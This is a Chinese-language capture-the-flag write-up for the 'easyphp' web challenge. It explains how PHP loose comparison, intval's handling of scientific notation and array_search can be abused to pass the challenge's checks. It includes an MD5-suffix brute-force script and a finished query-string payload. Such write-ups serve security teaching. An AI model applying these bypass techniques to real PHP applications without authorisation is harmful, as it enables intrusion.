攻防世界-Web-easyphp
知识点
1.弱判断和强判断
2.intval可以转换科学计数法
步骤
php源码分析
第一段:
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm...");
}
第一个if判断变量a的值转化为整形后是否大于6000000 ,并且a的长度小于等于3,这里按照正常想法只有3位的数肯定是不会大于6000000 的。
这里利用科学技术法来表示a,如1e9,并且长度为3。
第二个if判断md5加密b后再截取倒数第6位到第6位的字符串是否===8b184b,相等则令key1=1.
这里利用脚本来跑出b的值,b=53724。
<?php
for($i=0;$i<9999999;$i++){
if('8b184b'===substr(md5($i),-6,6)){echo($i);break;
}
}?>
构造a和b为:a=1e9&b=53724
第二段:
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");}
}else{die("no");
}
首先将getg接受的c json解码后复值给变量c。
第一个if判断c是否为数组,并且c中的m键的值是否为数字,这里要求不为数字,并且c中的m键的值>2022,这里大于使用的是弱判断,即先会转化为数字再进行比较。
这里构造这个c为:array("m":"2023a")。
第二个if判断c中的键值n的值是否为数组,并且数组的个数是否==2,并且n中的第0位是否是数组。再在数据n里搜寻"DGGJ",将其真假赋值给d,如果d为假则退出,所以n中要存在"DGGJ"。
最后是一个foreach循环,循环n中的每个元素,判断n中的每个值是否==="DGGJ",search那是弱判断,这里是强判断。所以这里要令数组中值为0,因为"DGGJ"==0。
构造c为:array("m" => "2023a","n" => array(array(1,1),0)).json_encode()
payload:
?a=1e9&b=53724&c={"m":"2023a","n":[[1,1],0]}